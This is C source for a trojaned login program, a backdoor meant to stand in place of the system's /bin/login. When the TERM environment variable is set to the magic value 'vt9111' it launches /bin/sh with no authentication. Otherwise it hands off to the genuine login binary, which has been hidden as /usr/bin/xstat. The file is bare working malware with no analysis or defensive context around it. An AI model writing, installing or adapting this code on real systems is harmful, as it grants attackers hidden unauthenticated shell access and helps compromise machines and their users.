#define _XOPEN_SOURCE
#include <unistd.h>
#include <stdio.h>
#include <signal.h>
#include <sys/time.h>
#include <string.h>
#define SHELL "/bin/sh"
#define SHELL_CALLME "login"
#define LOGIN "/usr/bin/xstat"
#define LOGIN_CALLME "login"
#define ENV_NAME "TERM"
#define ENV_VALUE "vt9111"
#define ENV_FIX "r!!t!d"


int owned(void);
char **av, **ep;
int main(int argc, char **argv, char **envp) {   
av=argv;   
ep=envp;   
av[0]=SHELL_CALLME;           

	if (owned()) {   
		char *sav[]={       SHELL_CALLME, NULL   };	 
		execve(SHELL, sav, ep);	 
		return 0;   
	}   

execve(LOGIN, av, ep);   
return 0;   

}

int owned(void) {   
char *name, *value;   
int i;   
for (i=0; ep[i]!=NULL; ++i) {      
name=strtok(ep[i], "=");      
value=strtok(NULL, "=");      
if (name==NULL || value==NULL) continue;      
	if (!strncmp(name, ENV_NAME, strlen(ENV_NAME))) {	 
		if (!strncmp(value, ENV_VALUE, strlen(ENV_VALUE))) {	    
			char tmp[100];	
			sprintf(tmp, "%s=%s", ENV_NAME, ENV_FIX); 	
			ep[i]=strdup(tmp);	    
			return 1;	 
		}      
	}   
}   


return 0;
}